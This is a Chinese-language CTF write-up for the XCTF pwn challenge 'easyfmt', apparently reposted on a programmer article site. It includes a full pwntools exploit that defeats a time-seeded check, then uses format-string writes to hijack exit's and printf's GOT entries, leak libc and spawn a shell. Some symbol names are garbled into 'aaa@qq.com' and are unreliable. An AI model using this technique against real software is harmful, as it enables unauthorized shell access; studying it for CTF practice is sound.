欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

easyfmt(xctf)

程序员文章站 2022-05-15 21:48:26
...

0x0 程序保护和流程

保护:

easyfmt(xctf)

流程:

main()

easyfmt(xctf)

可以发现在if中存在格式化字符串漏洞。但需要通过CheckIn()的返回值决定是否执行if中的语句。

easyfmt(xctf)

通过一个time()获取当前时间,并将当前时间当成srand()的seed,之后根据seed产生出的随机数对5取模再加48存放在v3[0]中,之后将输入的值跟v1进行比较返回结果。

0x1 利用过程

1.想要利用格式化字符串漏洞就必须绕过CheckIn()的限制,因为反汇编出来的源码可能会有一点问题,因此对汇编代码进行分析。

easyfmt(xctf)

通过分析可知程序将随机数存放在了rbp-30h中,并且最后是将输入的数字与rbp-30h中的数据进行对比。所以可以使用python中的ctypes库调用libc中的函数,进行和程序相同的操作。

from ctypes import *
libc=cdll.LoadLibrary('./libc')
libc.srand(libc.time(0))
check=libc.rand()%5+48

这样就可以利用格式化字符串漏洞了。

2.确定程序的偏移量为8

easyfmt(xctf)

3.一次利用格式化字符串漏洞并不能实现实现getshell,所以需要修改程序的流程,又因为程序是通过exit函数进行退出的,因此无法利用返回地址控制流程。结合程序的got表可写,在main函数中有两个函数在printf函数后执行所以选择改写exit函数的got表地址。还有一个原因是exit函数在调用时第一次调用,所以它的got表中的数据指向aaa@qq.com+6的位置,而这个位置跟main函数在同一个内存页上,所以只需修改改低n位(n<=3)就可以将流程劫持。

4.通过上述分析可以可以得出大体思路。先绕过CheckIn(),改写exit函数的got表为main函数上的位置,泄露函数地址,得到system函数的地址,将system函数的地址写入printf函数的got表,输入/bin/sh就可以完成getshell。

绕过CheckIn()

from ctypes import *
libc=cdll.LoadLibrary('./libc')
libc.srand(libc.time(0))
check=libc.rand()%5+48
sh.sendafter('enter:',p64(check))

改写exit函数的got表中的数据为main+0x7C,是if中的第一条语句与aaa@qq.com+6只有后两个字节不一样。

main+0x7C

easyfmt(xctf)

aaa@qq.com+6

easyfmt(xctf)

# 偏移为8,加上16个字符后就是10 printf函数遇到'\x00'就截断了,所以exit_got放后面
payload=('%'+str(0x982)+'c%10$hn').ljust(16,'a')+p64(exit_got)
sh.sendafter('slogan: ',payload)

泄露函数地址。这里要注意,call exit会压栈导致rsp-8,但改写了exit的got表中的数据后,并没有ret指令将rsp+8,所以偏移量加一。

payload='%10$saaa'+p64(printf_got) # 9
sh.sendafter('slogan: ',payload)
sh.recv(1)
printf_addr=u64(sh.recvuntil('aaa',drop = True).ljust(8,'\x00'))
if local:
    libc_base=printf_addr-printf_libc
    system_addr=libc_base+system_libc
    print hex(system_addr)
else:
    libc=LibcSearcher('printf',printf_addr)
    libc_base=printf_addr-libc.dump('printf')
    system_addr=libc_base+libc.dump('system')
    print hex(system_addr)

将system函数的地址写入printf函数的got表。因为真实地址都在libc中,所以都在同一个内存页中,只需要改低n位(n<=3)就可以完成。

char1=system_addr&0xff
payload='%'+str(char1)+'c%14$hhn' # 10
char2=((system_addr&0xffffff)>>8)-char1
payload+='%'+str(char2)+'c%15$hn'
payload=payload.ljust(32,'a')+p64(printf_got)+p64(printf_got+1)
sh.sendafter('slogan: ',payload)

输入/bin/sh就可以完成getshell。

sh.sendafter('slogan: ','/bin/sh\x00') 
sh.interactive()

0x2 exp

tips:远程在输入check报错时的可以多试几次,这个错误原因在于服务器上的时间加上数据传输的时间和脚本调用time函数的时间的不一致导致的。在本地调试中出现这种情况的概率很小。

from pwn import *
from ctypes import *
from LibcSearcher import *
context.log_level='debug'
local=0
_libc=cdll.LoadLibrary("./libc")
if local:
    libc=ELF('./libc')
    read_libc=libc.symbols['read']
    system_libc=libc.symbols['system']
    sh=process('./a')
else:
    sh=remote('220.249.52.133','43889')

_libc.srand(_libc.time(0))
check=_libc.rand()%5+48
sh.sendafter('enter:',p64(check))

elf=ELF('./a')
exit_got=elf.got['exit']
printf_got=elf.got['printf']
read_got=elf.got['read']

payload=('%'+str(0x982)+'c%10$hn').ljust(16,'a')+p64(exit_got) # 8
sh.sendafter('slogan: ',payload)
payload='%10$saaa'+p64(read_got) # 9
sh.sendafter('slogan: ',payload)
sh.recv(1)
read_addr=u64(sh.recvuntil('aaa',drop = True).ljust(8,'\x00'))
if local:
    libc_base=read_addr-read_libc
    system_addr=libc_base+system_libc
    print hex(system_addr)
else:
    libc=LibcSearcher('read',read_addr)
    libc_base=read_addr-libc.dump('read')
    system_addr=libc_base+libc.dump('system')
    print hex(system_addr)

char1=system_addr&0xff
payload='%'+str(char1)+'c%14$hhn' # 10
char2=((system_addr&0xffffff)>>8)-char1
payload+='%'+str(char2)+'c%15$hn'
payload=payload.ljust(32,'a')+p64(printf_got)+p64(printf_got+1)
sh.sendafter('slogan: ',payload)
sh.sendafter('slogan: ','/bin/sh\x00') 
sh.interactive()
相关标签: xctf(pwn高手区)